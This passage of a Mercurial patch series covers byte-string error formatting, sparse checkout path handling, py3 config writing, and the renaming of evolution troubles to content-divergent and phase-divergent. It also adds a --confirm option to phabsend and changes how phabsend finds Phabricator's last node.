+++ b/mercurial/extensions.py
@@ -19,7 +19,6 @@
 from . import (
     cmdutil,
     configitems,
-    encoding,
     error,
     pycompat,
     util,
@@ -114,16 +113,11 @@
                 mod = _importh(name)
     return mod
 
-def _forbytes(inst):
-    """Portably format an import error into a form suitable for
-    %-formatting into bytestrings."""
-    return encoding.strtolocal(str(inst))
-
 def _reportimporterror(ui, err, failed, next):
     # note: this ui.debug happens before --debug is processed,
     #       Use --config ui.debug=1 to see them.
     ui.debug('could not import %s (%s): trying %s\n'
-             % (failed, _forbytes(err), next))
+             % (failed, util.forcebytestr(err), next))
     if ui.debugflag:
         ui.traceback()
 
@@ -180,7 +174,7 @@
             uisetup(ui)
         except Exception as inst:
             ui.traceback()
-            msg = _forbytes(inst)
+            msg = util.forcebytestr(inst)
             ui.warn(_("*** failed to set up extension %s: %s\n") % (name, msg))
             return False
     return True
@@ -197,7 +191,7 @@
                 extsetup() # old extsetup with no ui argument
         except Exception as inst:
             ui.traceback()
-            msg = _forbytes(inst)
+            msg = util.forcebytestr(inst)
             ui.warn(_("*** failed to set up extension %s: %s\n") % (name, msg))
             return False
     return True
@@ -215,7 +209,7 @@
         try:
             load(ui, name, path)
         except Exception as inst:
-            msg = _forbytes(inst)
+            msg = util.forcebytestr(inst)
             if path:
                 ui.warn(_("*** failed to import extension %s from %s: %s\n")
                         % (name, path, msg))
diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -2268,6 +2268,15 @@
 def unescapestr(s):
     return codecs.escape_decode(s)[0]
 
+def forcebytestr(obj):
+    """Portably format an arbitrary object (e.g. exception) into a byte
+    string."""
+    try:
+        return pycompat.bytestr(obj)
+    except UnicodeEncodeError:
+        # non-ascii string, may be lossy
+        return pycompat.bytestr(encoding.strtolocal(str(obj)))
+
 def uirepr(s):
     # Avoid double backslash in Windows path repr()
     return repr(s).replace('\\\\', '\\')
# HG changeset patch
# User Kostia Balytskyi <ikostia@fb.com>
# Date 1501711521 25200
#      Wed Aug 02 15:05:21 2017 -0700
# Node ID 7dcb517122f916600e9fc838f532f13d9451bbd8
# Parent  1d5e497c08b35983714c07386d25b26c5b6e555f
sparse: properly error out when absolute paths are used

Current logic is misleading (it says it drops only absolute paths, but
it actually drops all of them), not cross-platform (does not support Windows)
and IMO just wrong (as it should just error out if absolute paths are given).

This commit fixes it.

diff --git a/mercurial/sparse.py b/mercurial/sparse.py
--- a/mercurial/sparse.py
+++ b/mercurial/sparse.py
@@ -636,10 +636,10 @@
             newexclude = set(oldexclude)
             newprofiles = set(oldprofiles)
 
-        if any(pat.startswith('/') for pat in pats):
-            repo.ui.warn(_('warning: paths cannot start with /, ignoring: %s\n')
-                         % ([pat for pat in pats if pat.startswith('/')]))
-        elif include:
+        if any(os.path.isabs(pat) for pat in pats):
+            raise error.Abort(_('paths cannot be absolute'))
+
+        if include:
             newinclude.update(pats)
         elif exclude:
             newexclude.update(pats)
diff --git a/tests/test-sparse.t b/tests/test-sparse.t
--- a/tests/test-sparse.t
+++ b/tests/test-sparse.t
@@ -29,20 +29,22 @@
 
 #if no-windows
   $ hg debugsparse --include /foo/bar
-  warning: paths cannot start with /, ignoring: ['/foo/bar']
+  abort: paths cannot be absolute
+  [255]
   $ hg debugsparse --include '$TESTTMP/myrepo/hide'
 
   $ hg debugsparse --include '/root'
-  warning: paths cannot start with /, ignoring: ['/root']
+  abort: paths cannot be absolute
+  [255]
 #else
 TODO: See if this can be made to fail the same way as on Unix
   $ hg debugsparse --include /c/foo/bar
-  abort: c:/foo/bar not under root '$TESTTMP/myrepo' (glob)
+  abort: paths cannot be absolute
   [255]
   $ hg debugsparse --include '$TESTTMP/myrepo/hide'
 
   $ hg debugsparse --include '/c/root'
-  abort: c:/root not under root '$TESTTMP/myrepo' (glob)
+  abort: paths cannot be absolute
   [255]
 #endif
 
# HG changeset patch
# User Kostia Balytskyi <ikostia@fb.com>
# Date 1501714137 25200
#      Wed Aug 02 15:48:57 2017 -0700
# Node ID 2be0bf1869506ad478113b29185d165bc37983dd
# Parent  7dcb517122f916600e9fc838f532f13d9451bbd8
match: expose some data and functionality to other modules

This patch makes sure that other modules can check whether patterns
are CWD-relative.

diff --git a/mercurial/match.py b/mercurial/match.py
--- a/mercurial/match.py
+++ b/mercurial/match.py
@@ -18,6 +18,11 @@
     util,
 )
 
+allpatternkinds = ('re', 'glob', 'path', 'relglob', 'relpath', 'relre',
+                   'listfile', 'listfile0', 'set', 'include', 'subinclude',
+                   'rootfilesin')
+cwdrelativepatternkinds = ('relpath', 'glob')
+
 propertycache = util.propertycache
 
 def _rematcher(regex):
@@ -190,7 +195,7 @@
     normalized and rooted patterns and with listfiles expanded.'''
     kindpats = []
     for kind, pat in [_patsplit(p, default) for p in patterns]:
-        if kind in ('glob', 'relpath'):
+        if kind in cwdrelativepatternkinds:
             pat = pathutil.canonpath(root, cwd, pat, auditor)
         elif kind in ('relglob', 'path', 'rootfilesin'):
             pat = util.normpath(pat)
@@ -691,9 +696,7 @@
     pattern."""
     if ':' in pattern:
         kind, pat = pattern.split(':', 1)
-        if kind in ('re', 'glob', 'path', 'relglob', 'relpath', 'relre',
-                    'listfile', 'listfile0', 'set', 'include', 'subinclude',
-                    'rootfilesin'):
+        if kind in allpatternkinds:
             return kind, pat
     return default, pattern
 
# HG changeset patch
# User Kostia Balytskyi <ikostia@fb.com>
# Date 1501850302 25200
#      Fri Aug 04 05:38:22 2017 -0700
# Node ID e1c56486d1aaa0f60566d0733d111c0606c3db91
# Parent  2be0bf1869506ad478113b29185d165bc37983dd
sparse: treat paths as cwd-relative

This commit makes it so sparse treats passed paths as CWD-relative,
not repo-root-realive. This is a more intuitive behavior in my (and some
other FB people's) opinion.

This is breaking change however. My hope here is that since sparse is
experimental, it's ok to introduce BCs.

The reason (glob)s are needed in the test is this: in these two cases we
do not supply path together with slashes, but `os.path.join` adds them, which
means that under Windows they can be backslashes. To demonstrate this behavior,
one could remove the (glob)s and run `./run-tests.py test-sparse.t` from
MinGW's terminal on Windows.

diff --git a/hgext/sparse.py b/hgext/sparse.py
--- a/hgext/sparse.py
+++ b/hgext/sparse.py
@@ -155,7 +155,8 @@
     if include or exclude or enableprofile:
         def clonesparse(orig, self, node, overwrite, *args, **kwargs):
             sparse.updateconfig(self.unfiltered(), pat, {}, include=include,
-                                exclude=exclude, enableprofile=enableprofile)
+                                exclude=exclude, enableprofile=enableprofile,
+                                usereporootpaths=True)
             return orig(self, node, overwrite, *args, **kwargs)
         extensions.wrapfunction(hg, 'updaterepo', clonesparse)
     return orig(ui, repo, *args, **opts)
diff --git a/mercurial/sparse.py b/mercurial/sparse.py
--- a/mercurial/sparse.py
+++ b/mercurial/sparse.py
@@ -17,6 +17,7 @@
     error,
     match as matchmod,
     merge as mergemod,
+    pathutil,
     pycompat,
     scmutil,
     util,
@@ -616,7 +617,7 @@
 
 def updateconfig(repo, pats, opts, include=False, exclude=False, reset=False,
                  delete=False, enableprofile=False, disableprofile=False,
-                 force=False):
+                 force=False, usereporootpaths=False):
     """Perform a sparse config update.
 
     Only one of the actions may be performed.
@@ -639,6 +640,20 @@
         if any(os.path.isabs(pat) for pat in pats):
             raise error.Abort(_('paths cannot be absolute'))
 
+        if not usereporootpaths:
+            # let's treat paths as relative to cwd
+            root, cwd = repo.root, repo.getcwd()
+            abspats = []
+            for kindpat in pats:
+                kind, pat = matchmod._patsplit(kindpat, None)
+                if kind in matchmod.cwdrelativepatternkinds or kind is None:
+                    ap = (kind + ':' if kind else '') +\
+                            pathutil.canonpath(root, cwd, pat)
+                    abspats.append(ap)
+                else:
+                    abspats.append(kindpat)
+            pats = abspats
+
         if include:
             newinclude.update(pats)
         elif exclude:
diff --git a/tests/test-sparse.t b/tests/test-sparse.t
--- a/tests/test-sparse.t
+++ b/tests/test-sparse.t
@@ -48,6 +48,31 @@
   [255]
 #endif
 
+Paths should be treated as cwd-relative, not repo-root-relative
+  $ mkdir subdir && cd subdir
+  $ hg debugsparse --include path
+  $ hg debugsparse
+  [include]
+  $TESTTMP/myrepo/hide
+  hide
+  subdir/path (glob)
+  
+  $ cd ..
+  $ echo hello > subdir/file2.ext
+  $ cd subdir
+  $ hg debugsparse --include '**.ext'  # let us test globs
+  $ hg debugsparse --include 'path:abspath'  # and a path: pattern
+  $ cd ..
+  $ hg debugsparse
+  [include]
+  $TESTTMP/myrepo/hide
+  hide
+  path:abspath
+  subdir/**.ext
+  subdir/path (glob)
+  
+  $ rm -rf subdir
+
 Verify commiting while sparse includes other files
 
   $ echo z > hide
# HG changeset patch
# User muxator <a.mux@inwind.it>
# Date 1501827310 -7200
#      Fri Aug 04 08:15:10 2017 +0200
# Node ID 5aac617a028d9745261cd927e794e866a7f714e6
# Parent  e1c56486d1aaa0f60566d0733d111c0606c3db91
buildrpm: do not break in presence of custom user configs

For example, if "hg log" was defined as an alias:

  # /etc/mercurial/hgrc
  [alias]
  log = log --graph

the buildrpm script would be surprised by log messages formatted in
unexpected ways, and bail out.

This patch sets HGPLAIN, effectively resetting all the user configs,
including log output, to a common state, making the build more
predictable across all the possible environments.

diff --git a/contrib/buildrpm b/contrib/buildrpm
--- a/contrib/buildrpm
+++ b/contrib/buildrpm
@@ -11,6 +11,8 @@
 
 BUILD=1
 RPMBUILDDIR="$PWD/rpmbuild"
+export HGPLAIN=
+
 while [ "$1" ]; do
     case "$1" in
     --prepare )
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1501688702 -32400
#      Thu Aug 03 00:45:02 2017 +0900
# Node ID 6294654453ee813eb90978887daf363389ec200c
# Parent  5aac617a028d9745261cd927e794e866a7f714e6
py3: use bytes IO to write sample hgrc

Unicode sucks. Stop using Text IO and manually convert line endings.

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -1644,8 +1644,8 @@
                 samplehgrc = uimod.samplehgrcs['user']
 
             f = paths[0]
-            fp = open(f, "w")
-            fp.write(samplehgrc)
+            fp = open(f, "wb")
+            fp.write(util.tonativeeol(samplehgrc))
             fp.close()
 
         editor = ui.geteditor()
diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -641,11 +641,11 @@
         destrepo = destpeer.local()
         if destrepo:
             template = uimod.samplehgrcs['cloned']
-            fp = destrepo.vfs("hgrc", "w", text=True)
+            fp = destrepo.vfs("hgrc", "wb")
             u = util.url(abspath)
             u.passwd = None
-            defaulturl = str(u)
-            fp.write(template % defaulturl)
+            defaulturl = bytes(u)
+            fp.write(util.tonativeeol(template % defaulturl))
             fp.close()
 
             destrepo.ui.setconfig('paths', 'default', defaulturl, 'clone')
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -60,7 +60,7 @@
 
 samplehgrcs = {
     'user':
-"""# example user config (see 'hg help config' for more info)
+b"""# example user config (see 'hg help config' for more info)
 [ui]
 # name and email, e.g.
 # username = Jane Doe <jdoe@example.com>
@@ -82,7 +82,7 @@
 """,
 
     'cloned':
-"""# example repository config (see 'hg help config' for more info)
+b"""# example repository config (see 'hg help config' for more info)
 [paths]
 default = %s
 
@@ -99,7 +99,7 @@
 """,
 
     'local':
-"""# example repository config (see 'hg help config' for more info)
+b"""# example repository config (see 'hg help config' for more info)
 [paths]
 # path aliases to other clones of this repo in URLs or filesystem paths
 # (see 'hg help config.paths' for more info)
@@ -115,7 +115,7 @@
 """,
 
     'global':
-"""# example system-wide hg config (see 'hg help config' for more info)
+b"""# example system-wide hg config (see 'hg help config' for more info)
 
 [ui]
 # uncomment to disable color in command output
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501603100 -7200
#      Tue Aug 01 17:58:20 2017 +0200
# Node ID 2194a8723138461b80262a1923dec33a1c39fe15
# Parent  6294654453ee813eb90978887daf363389ec200c
evolution: rename divergent to content-divergent

Rename divergent to content-divergent in all external user-facing output. Only
update user-facing output for the moment, variables names, templates keyword
and potentially configuration would be done in later series.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D215

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4942,7 +4942,7 @@
             # We write all the possibilities to ease translation
             troublemsg = {
                "unstable": _("orphan: %d changesets"),
-               "divergent": _("divergent: %d changesets"),
+               "divergent": _("content-divergent: %d changesets"),
                "bumped": _("bumped: %d changesets"),
             }
             if numtrouble > 0:
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -231,7 +231,7 @@
         Troubles are returned as strings. possible values are:
         - orphan,
         - bumped,
-        - divergent.
+        - content-divergent.
         """
         troubles = []
         if self.unstable():
@@ -239,7 +239,7 @@
         if self.bumped():
             troubles.append('bumped')
         if self.divergent():
-            troubles.append('divergent')
+            troubles.append('content-divergent')
         return troubles
 
     def parents(self):
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -677,9 +677,10 @@
         if unfi.obsstore:
             # this message are here for 80 char limit reason
             mso = _("push includes obsolete changeset: %s!")
+            mscd = _("push includes content-divergent changeset: %s!")
             mst = {"orphan": _("push includes orphan changeset: %s!"),
                    "bumped": _("push includes bumped changeset: %s!"),
-                   "divergent": _("push includes divergent changeset: %s!")}
+                   "content-divergent": mscd}
             # If we are to push if there is at least one
             # obsolete or unstable changeset in missing, at
             # least one of the missinghead will be obsolete or
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -442,14 +442,14 @@
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  instability: divergent
+  |  instability: content-divergent
   |  summary:     A2
   |
   | o  changeset:   2:fdf9bde5129a
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    instability: divergent
+  |    instability: content-divergent
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
@@ -469,7 +469,7 @@
   |  parent:      0:ea207398892e
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  instability: divergent
+  |  instability: content-divergent
   |  summary:     A3
   |
   | x  changeset:   3:65b757b745b9
@@ -482,7 +482,7 @@
   |/   parent:      0:ea207398892e
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    instability: divergent
+  |    instability: content-divergent
   |    summary:     A1
   |
   | x  changeset:   1:471f378eab4c
@@ -1086,20 +1086,20 @@
   |  parent:      5:dd800401bd8c
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  instability: divergent
+  |  instability: content-divergent
   |  summary:     Add B only
   |
   | o  changeset:   8:b18bc8331526
   |/   parent:      5:dd800401bd8c
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    instability: divergent
+  |    instability: content-divergent
   |    summary:     Add only B
   |
   | o  changeset:   7:ba2ed02b0c9a
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  instability: orphan, divergent
+  | |  instability: orphan, content-divergent
   | |  summary:     Add A,B,C
   | |
   | x  changeset:   6:4a004186e638
@@ -1111,7 +1111,7 @@
   |  parent:      3:f897c6137566
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  instability: divergent
+  |  instability: content-divergent
   |  summary:     Add A,B,C
   |
   o  changeset:   3:f897c6137566
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -107,7 +107,7 @@
   $ hg push ../other
   pushing to ../other
   searching for changes
-  abort: push includes divergent changeset: 392fd25390da!
+  abort: push includes content-divergent changeset: 392fd25390da!
   [255]
 
   $ cd ..
@@ -671,9 +671,9 @@
   $ rm .hg/localtags
   $ hg cleanup --config extensions.t=$TESTTMP/scmutilcleanup.py
   $ hg log -G -T '{rev}:{node|short} {desc} {troubles}' -r 'sort(all(), topo)'
-  @  5:1a2a9b5b0030 B2 divergent
+  @  5:1a2a9b5b0030 B2 content-divergent
   |
-  | o  4:70d5a63ca112 B4 divergent
+  | o  4:70d5a63ca112 B4 content-divergent
   | |
   | o  1:48b9aae0607f Z
   |
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -855,7 +855,7 @@
   commit: (clean)
   update: 1 new changesets, 2 branch heads (merge)
   phases: 8 draft
-  divergent: 2 changesets
+  content-divergent: 2 changesets
 
 rebase --continue + skipped rev because their successors are in destination
 we make a change in trunk and work on conflicting changes to make rebase abort.
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501603654 -7200
#      Tue Aug 01 18:07:34 2017 +0200
# Node ID 9c27a2891b7545d7a176bc774a51840b523a50d9
# Parent  2194a8723138461b80262a1923dec33a1c39fe15
evolution: rename bumped to phase-divergent

Rename bumped to phase-divergent in all external user-facing output. Only
update user-facing output for the moment, variables names, templates keyword
and potentially configuration would be done in later series.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D216

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4943,7 +4943,7 @@
             troublemsg = {
                "unstable": _("orphan: %d changesets"),
                "divergent": _("content-divergent: %d changesets"),
-               "bumped": _("bumped: %d changesets"),
+               "bumped": _("phase-divergent: %d changesets"),
             }
             if numtrouble > 0:
                 ui.status(troublemsg[trouble] % numtrouble + "\n")
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -230,14 +230,14 @@
 
         Troubles are returned as strings. possible values are:
         - orphan,
-        - bumped,
+        - phase-divergent,
         - content-divergent.
         """
         troubles = []
         if self.unstable():
             troubles.append('orphan')
         if self.bumped():
-            troubles.append('bumped')
+            troubles.append('phase-divergent')
         if self.divergent():
             troubles.append('content-divergent')
         return troubles
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -677,9 +677,10 @@
         if unfi.obsstore:
             # this message are here for 80 char limit reason
             mso = _("push includes obsolete changeset: %s!")
+            mspd = _("push includes phase-divergent changeset: %s!")
             mscd = _("push includes content-divergent changeset: %s!")
             mst = {"orphan": _("push includes orphan changeset: %s!"),
-                   "bumped": _("push includes bumped changeset: %s!"),
+                   "phase-divergent": mspd,
                    "content-divergent": mscd}
             # If we are to push if there is at least one
             # obsolete or unstable changeset in missing, at
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -207,7 +207,7 @@
 
   $ hg --hidden phase --public 2
   $ hg log -G
-  @  5:5601fb93a350 (draft bumped) [tip ] add new_3_c
+  @  5:5601fb93a350 (draft phase-divergent) [tip ] add new_3_c
   |
   | o  2:245bde4270cd (public) [ ] add original_c
   |/
@@ -224,7 +224,7 @@
 the public changeset
 
   $ hg log --hidden -r 'bumped()'
-  5:5601fb93a350 (draft bumped) [tip ] add new_3_c
+  5:5601fb93a350 (draft phase-divergent) [tip ] add new_3_c
 
 And that we can't push bumped changeset
 
@@ -239,20 +239,20 @@
   $ hg push ../tmpa
   pushing to ../tmpa
   searching for changes
-  abort: push includes bumped changeset: 5601fb93a350!
+  abort: push includes phase-divergent changeset: 5601fb93a350!
   [255]
 
 Fixing "bumped" situation
 We need to create a clone of 5 and add a special marker with a flag
 
   $ hg summary
-  parent: 5:5601fb93a350 tip (bumped)
+  parent: 5:5601fb93a350 tip (phase-divergent)
    add new_3_c
   branch: default
   commit: (clean)
   update: 1 new changesets, 2 branch heads (merge)
   phases: 1 draft
-  bumped: 1 changesets
+  phase-divergent: 1 changesets
   $ hg up '5^'
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg revert -ar 5
@@ -914,7 +914,7 @@
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  instability: orphan, bumped
+  instability: orphan, phase-divergent
   summary:     add babar
   
 
@@ -926,7 +926,7 @@
 test the "troubles" templatekw
 
   $ hg log -r 'bumped() and unstable()'
-  7:50c51b361e60 (draft orphan bumped) [ ] add babar
+  7:50c51b361e60 (draft orphan phase-divergent) [ ] add babar
 
 test the default cmdline template
 
@@ -934,7 +934,7 @@
   changeset:   7:50c51b361e60
   user:        test
   date:        Thu Jan 01 00:00:00 1970 +0000
-  trouble:     orphan, bumped
+  trouble:     orphan, phase-divergent
   summary:     add babar
   
   $ hg log -T default -r 'obsolete()'
@@ -950,14 +950,14 @@
   $ hg up -r 'bumped() and unstable()'
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg summary
-  parent: 7:50c51b361e60  (orphan, bumped)
+  parent: 7:50c51b361e60  (orphan, phase-divergent)
    add babar
   branch: default
   commit: (clean)
   update: 2 new changesets (update)
   phases: 4 draft
   orphan: 2 changesets
-  bumped: 1 changesets
+  phase-divergent: 1 changesets
   $ hg up -r 'obsolete()'
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg summary
@@ -968,7 +968,7 @@
   update: 3 new changesets (update)
   phases: 4 draft
   orphan: 2 changesets
-  bumped: 1 changesets
+  phase-divergent: 1 changesets
 
 Test incoming/outcoming with changesets obsoleted remotely, known locally
 ===============================================================================
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1501709973 -19800
#      Thu Aug 03 03:09:33 2017 +0530
# Node ID 40cfe3197bc153bbff38d1af3ce1cd521f1510e3
# Parent  9c27a2891b7545d7a176bc774a51840b523a50d9
phabricator: add --confirm option to phabsend command

This adds a --confirm flag similar to the confirm flag of `hg email` using which
one can confirm the changesets before they get emailed. The confirm flag will
show the changesets and ask for confirmation before sending them.

Differential Revision: https://phab.mercurial-scm.org/D218

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -313,7 +313,8 @@
 
 @command('phabsend',
          [('r', 'rev', [], _('revisions to send'), _('REV')),
-          ('', 'reviewer', [], _('specify reviewers'))],
+          ('', 'reviewer', [], _('specify reviewers')),
+          ('', 'confirm', None, _('ask for confirmation before sending'))],
          _('REV [OPTIONS]'))
 def phabsend(ui, repo, *revs, **opts):
     """upload changesets to Phabricator
@@ -326,6 +327,13 @@
     maintain the association. After the first time, phabsend will check
     obsstore and tags information so it can figure out whether to update an
     existing Differential Revision, or create a new one.
+
+    The --confirm option lets you confirm changesets before sending them. You
+    can also add following to your configuration file to make it default
+    behaviour.
+
+    [phabsend]
+    confirm = true
     """
     revs = list(revs) + opts.get('rev', [])
     revs = scmutil.revrange(repo, revs)
@@ -333,6 +341,13 @@
     if not revs:
         raise error.Abort(_('phabsend requires at least one changeset'))
 
+    confirm = ui.configbool('phabsend', 'confirm')
+    confirm |= bool(opts.get('confirm'))
+    if confirm:
+        confirmed = _confirmbeforesend(repo, revs)
+        if not confirmed:
+            raise error.Abort(_('phabsend cancelled'))
+
     actions = []
     reviewers = opts.get('reviewer', [])
     if reviewers:
@@ -379,6 +394,20 @@
 _metanamemap = util.sortdict([(r'user', 'User'), (r'date', 'Date'),
                               (r'node', 'Node ID'), (r'parent', 'Parent ')])
 
+def _confirmbeforesend(repo, revs):
+    ui = repo.ui
+    for rev in revs:
+        ctx = repo[rev]
+        desc = ctx.description().splitlines()[0]
+        ui.write(('%d: ' % rev), label='phabsend.revnumber')
+        ui.write(('%s\n' % desc), label='phabsend.desc')
+
+    if ui.promptchoice(_('Phabsend the above changes (yn)?'
+                            '$$ &Yes $$ &No')):
+        return False
+
+    return True
+
 def querydrev(repo, params, stack=False):
     """return a list of "Differential Revision" dicts
 
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1500346370 25200
#      Mon Jul 17 19:52:50 2017 -0700
# Node ID 1664406a44d953faf809754a367b295c09407027
# Parent  40cfe3197bc153bbff38d1af3ce1cd521f1510e3
phabricator: use Phabricator's last node information

This makes it more strict when checking whether or not we should update a
Differential Revision. For example,

  a) Alice updates D1 to content 1.
  b) Bob updates D1 to content 2.
  c) Alice tries to update D1 to content 1.

Previously, `c)` will do nothing because `phabsend` detects the patch is not
changed. A more correct behavior is to override Bob's update here, hence the
patch.

This also makes it possible to return a reaonsable "last node" when there is
no tags but only `Differential Revision` commit messages.

Test Plan:
```
for i in A B C; do echo $i > $i; hg ci -m $i -A $i; done

hg phabsend 0::
# D40: created
# D41: created
# D42: created

echo 3 >> C; hg amend; hg phabsend .
# D42: updated

hg tag --local --hidden -r 2 -f D42
# move tag to the previous version

hg phabsend .
# D42: skipped (previously it would be "updated")

rm -rf .hg; hg init
hg phabread --stack D42 | hg import -
hg phabsend .
# D42: updated
hg tag --local --remove D42
hg commit --amend
hg phabsend .
# D42: updated (no new diff uploaded, previously it will upload a new diff)
```

The old diff object is now returned, which could be useful in the next
patch.

Differential Revision: https://phab.mercurial-scm.org/D121

diff --git a/contrib/phabricator.py b/contrib/phabricator.py
--- a/contrib/phabricator.py
+++ b/contrib/phabricator.py
@@ -138,28 +138,32 @@
 
 _differentialrevisiontagre = re.compile('\AD([1-9][0-9]*)\Z')
 _differentialrevisiondescre = re.compile(
-    '^Differential Revision:\s*(.*)D([1-9][0-9]*)$', re.M)
+    '^Differential Revision:\s*(?:.*)D([1-9][0-9]*)$', re.M)
 
 def getoldnodedrevmap(repo, nodelist):
     """find previous nodes that has been sent to Phabricator
 
-    return {node: (oldnode or None, Differential Revision ID)}
+    return {node: (oldnode, Differential diff, Differential Revision ID)}
     for node in nodelist with known previous sent versions, or associated
-    Differential Revision IDs.
+    Differential Revision IDs. ``oldnode`` and ``Differential diff`` could
+    be ``None``.
 
-    Examines all precursors and their tags. Tags with format like "D1234" are
-    considered a match and the node with that tag, and the number after "D"
-    (ex. 1234) will be returned.
+    Examines commit messages like "Differential Revision:" to get the
+    association information.
 
-    If tags are not found, examine commit message. The "Differential Revision:"
-    line could associate this changeset to a Differential Revision.
+    If such commit message line is not found, examines all precursors and their
+    tags. Tags with format like "D1234" are considered a match and the node
+    with that tag, and the number after "D" (ex. 1234) will be returned.
+
+    The ``old node``, if not None, is guaranteed to be the last diff of
+    corresponding Differential Revision, and exist in the repo.
     """
     url, token = readurltoken(repo)
     unfi = repo.unfiltered()
     nodemap = unfi.changelog.nodemap
 
-    result = {} # {node: (oldnode or None, drev)}
-    toconfirm = {} # {node: (oldnode, {precnode}, drev)}
+    result = {} # {node: (oldnode?, lastdiff?, drev)}
+    toconfirm = {} # {node: (force, {precnode}, drev)}
     for node in nodelist:
         ctx = unfi[node]
         # For tags like "D123", put them into "toconfirm" to verify later
@@ -169,39 +173,49 @@
                 for tag in unfi.nodetags(n):
                     m = _differentialrevisiontagre.match(tag)
                     if m:
-                        toconfirm[node] = (n, set(precnodes), int(m.group(1)))
+                        toconfirm[node] = (0, set(precnodes), int(m.group(1)))
                         continue
 
-        # Check commit message (make sure URL matches)
+        # Check commit message
         m = _differentialrevisiondescre.search(ctx.description())
         if m:
-            if m.group(1).rstrip('/') == url.rstrip('/'):
-                result[node] = (None, int(m.group(2)))
-            else:
-                unfi.ui.warn(_('%s: Differential Revision URL ignored - host '
-                               'does not match config\n') % ctx)
+            toconfirm[node] = (1, set(precnodes), int(m.group(1)))
 
     # Double check if tags are genuine by collecting all old nodes from
     # Phabricator, and expect precursors overlap with it.
     if toconfirm:
-        confirmed = {} # {drev: {oldnode}}
-        drevs = [drev for n, precs, drev in toconfirm.values()]
-        diffs = callconduit(unfi, 'differential.querydiffs',
-                            {'revisionIDs': drevs})
-        for diff in diffs.values():
-            drev = int(diff[r'revisionID'])
-            oldnode = bin(encoding.unitolocal(getdiffmeta(diff).get(r'node')))
-            if node:
-                confirmed.setdefault(drev, set()).add(oldnode)
-        for newnode, (oldnode, precset, drev) in toconfirm.items():
-            if bool(precset & confirmed.get(drev, set())):
-                result[newnode] = (oldnode, drev)
-            else:
+        drevs = [drev for force, precs, drev in toconfirm.values()]
+        alldiffs = callconduit(unfi, 'differential.querydiffs',
+                               {'revisionIDs': drevs})
+        getnode = lambda d: bin(encoding.unitolocal(
+            getdiffmeta(d).get(r'node', ''))) or None
+        for newnode, (force, precset, drev) in toconfirm.items():
+            diffs = [d for d in alldiffs.values()
+                     if int(d[r'revisionID']) == drev]
+
+            # "precursors" as known by Phabricator
+            phprecset = set(getnode(d) for d in diffs)
+
+            # Ignore if precursors (Phabricator and local repo) do not overlap,
+            # and force is not set (when commit message says nothing)
+            if not force and not bool(phprecset & precset):
                 tagname = 'D%d' % drev
                 tags.tag(repo, tagname, nullid, message=None, user=None,
                          date=None, local=True)
                 unfi.ui.warn(_('D%s: local tag removed - does not match '
                                'Differential history\n') % drev)
+                continue
+
+            # Find the last node using Phabricator metadata, and make sure it
+            # exists in the repo
+            oldnode = lastdiff = None
+            if diffs:
+                lastdiff = max(diffs, key=lambda d: int(d[r'id']))
+                oldnode = getnode(lastdiff)
+                if oldnode and oldnode not in nodemap:
+                    oldnode = None
+
+            result[newnode] = (oldnode, lastdiff, drev)
 
     return result
 
@@ -354,7 +368,8 @@
         phids = userphids(repo, reviewers)
         actions.append({'type': 'reviewers.add', 'value': phids})
 
